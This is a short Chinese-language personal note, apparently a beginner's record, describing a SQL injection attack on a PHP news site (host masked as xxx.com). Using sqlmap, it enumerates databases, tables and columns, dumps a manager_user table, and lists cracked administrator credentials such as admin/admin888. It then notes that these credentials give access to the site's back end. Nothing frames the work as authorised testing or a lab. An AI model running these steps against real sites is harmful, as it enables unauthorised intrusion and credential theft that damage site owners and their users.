3年前刚学时的笔记,大佬勿喷
目标站点 http://www.xxx.com/news.php?class_id=2
mysql+php
sqlmap.py -u + url
目标站点存在注入
http://www.xxx.com/news.php?class_id=2 --dbs 获取数据库
存在以下两个数据库
http://www.xxx.com/news.php?class_id=2 -D 数据库 --tables 获取数据库下的表
http://www.xxx.com/news.php?class_id=2 -D 数据库 -T 表名 --columns 获取表名下的字段
这里有个manager_user 我就直接dump了
跑出管理员账号密码
password解密后得到
1.用户名:admin 密码:admin888
2. 用户名:proAdmin密码:proAdmin
3. 用户名: recAdmin密码:recAdmin
接下来就可以用管理员账号密码登录网站后台了
http://www.xxx.com/news.php?class_id=2 --current-db获取当前网站数据库名
http://www.xxx.com/news.php?class_id=2 --users 获取数据库中的用户名
http://www.xxx.com/news.php?class_id=2 --current-user 获取当前数据库用户名
http://www.xxx.com/news.php?class_id=2 -D 数据库 -T 表名 -C username,password --dump 获取账号密码(前提是字段中存在username,password)
......